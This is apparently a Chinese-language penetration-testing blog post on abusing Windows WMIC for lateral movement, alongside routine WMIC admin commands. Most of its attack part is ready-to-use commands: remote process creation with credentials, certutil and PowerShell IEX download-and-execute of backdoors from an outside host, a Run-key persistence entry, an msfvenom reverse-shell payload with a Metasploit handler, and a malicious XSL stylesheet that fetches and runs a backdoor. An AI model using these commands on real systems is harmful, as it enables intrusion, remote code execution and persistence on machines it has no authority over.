WMIC命令的利用技巧

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。

该组件默认集成于 Windows XP - Windows 10 全系列系统中,我们可以通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理,,在正常的管理员的眼里 wmic 确实是远程管理的好帮手,但在渗透者眼中,它也同样是一把在目标内网进行横向渗透的趁手武器。

通用使用技巧

在使用WMIC命令之前,首先目标主机必须开启 "Windows Management Instrumentation" 这个系统服务,但默认情况下这个服务是开启状态的,其次,目标主机的防火墙放行了 135 端口,这个端口是WMIC默认的管理端口,但是多数情况下内网主机都会开放这个端口,检测是否开放端口有多种方式,如下:

C:>  nmap -p 135 192.168.1.30
C:>  telnet 192.168.1.30 135
C:>  wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "calc.exe"

上方的几种方式,都可以用于检测 135端口是否开启,如果上方可以正常访问,那我们就可以继续了,你也可以使用Python写一个脚本,来爆破目标主机的密码,替换上方的user,password字段内容。

1.利用 wmic 实现远程下载后门。首先你需要自行搭建一台服务器,然后放置后门文件shell.exe,然后通过在远程执行certutil命令完成下载后门,最后执行delete清理痕迹。

wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://lyshark.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://lyshark.com/shell.exe delete"

2.wmic命令可以调用PowerShell脚本,接着我们通过调用 IEX DownloadString 函数来远程加载执行 powershell payload。

wmic /NODE:192.168.1.10/user:"administrator" /password:"123123" PROCESS call create "powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://lyshark.com/shellcode.txt');""

3.也可以获取到系统的进程相关信息如下所示,当然你也可以指定节点,来实现查看远程主机情况。

wmic process list full                                                            // 显示所以进程
wmic process list brief                                                          // 摘要显示进程
wmic process list status                                                       // 显示进程状态
wmic process where name="qq.exe" get executablepath   // 获取进程的绝对路径

// 进程创建相关命令
wmic process call create QQ
wmic process call create "C:/Program Files/Tencent/QQ/QQ.exe" 
wmic process call create "ifconfig"

// 进程的删除
wmic process where name="qq.exe" call terminate 
wmic process where processid="1214" delete 
wmic process 1234 call terminate

4.获取操作系统的关键数据,可执行以下命令。

wmic DISKDRIVE get deviceid,Caption,size,InterfaceType                     // 磁盘相关数据
wmic LOGICALDISK get name,Description,filesystem,size,freespace     // 分区相关数据
wmic cpu get name,addresswidth,processorid                                     // CPU相关数据
wmic BaseBoard get Manufacturer,Product,Version,SerialNumber      // 主板相关数据
wmic csproduct get IdentifyingNumber                                                // 获取系统序列号
wmic SOUNDDEV get ProductName                                                     // 声卡相关

5.服务相关命令

// 更改telnet服务启动类型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"

wmic SERVICE where name="tlntsvr" call startservice                // 运行telnet服务
wmic SERVICE where name="ShardAccess" call stopservice      // 停止ICS服务
wmic SERVICE where name="lyshark" call delete                       // 删除lyshark服务

6.目录管理,与计划任务。

wmic FSDIR where "drive='c:' and filename='mk'" list         // 列出c盘下名为mk的目录
wmic fsdir "c://test" call delete                                             // 删除C:/test文件夹
wmic fsdir "c://test" rename "c:/abc"                                   // 重命名文件
wmic fsdir where name='d://test' call copy "c://test"          // 复制文件命令

wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480

7.针对注册表的操作

wmic process call create "reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "autorun" /t REG_SZ /d "C:windowsautorun.exe" /f"

通过Wmic反弹后门

Wmic命令不止可用于执行命令,该命令还能够从本地或从远程URL,调用XSL(可扩展样式表语言)脚本,我们可以通过构建恶意的XSL脚本,从而完成上线。

1.首先使用MSF生成一个后门文件,然后运行侦听。

[root@localhost html]# msfvenom -a x86 --platform Windows 
> -p windows/meterpreter/reverse_tcp 
> -b 'x00x0b' lhost=192.168.1.30 lport=8888 -f exe > shell.exe

[root@localhost html]# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z

[*] Started reverse TCP handler on 192.168.1.7:8888

2.接着我们创建一个xsl脚本文件,名称就叫shell.xsl,该脚本通过certtil命令下载恶意后门,然后直接运行。

[root@localhost ~]# vim shell.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
	var r = new ActiveXObject("WScript.Shell").Run("certutil.exe -urlcache -split -f http://lyshark.com/shell.exe");
        var r = new ActiveXObject("WScript.Shell").Run("shell.exe");
        return nodelist.nextNode().xml;
   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

3.将后门文件和xsl脚本一并放入自己搭建的web服务器上。

[root@localhost ~]# ls -lh
-rw-r--r-- 1 root root 73K Aug 12 23:33 shell.exe
-rw-r--r-- 1 root root 642 Aug 12 23:36 shell.xsl

[root@localhost ~]# cp -a * /var/www/html/
[root@localhost ~]# systemctl restart httpd

4.然后在受害主机运行以下命令,即可实现反弹后门。

wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"
原文地址:https://www.cnblogs.com/LyShark/p/11344288.html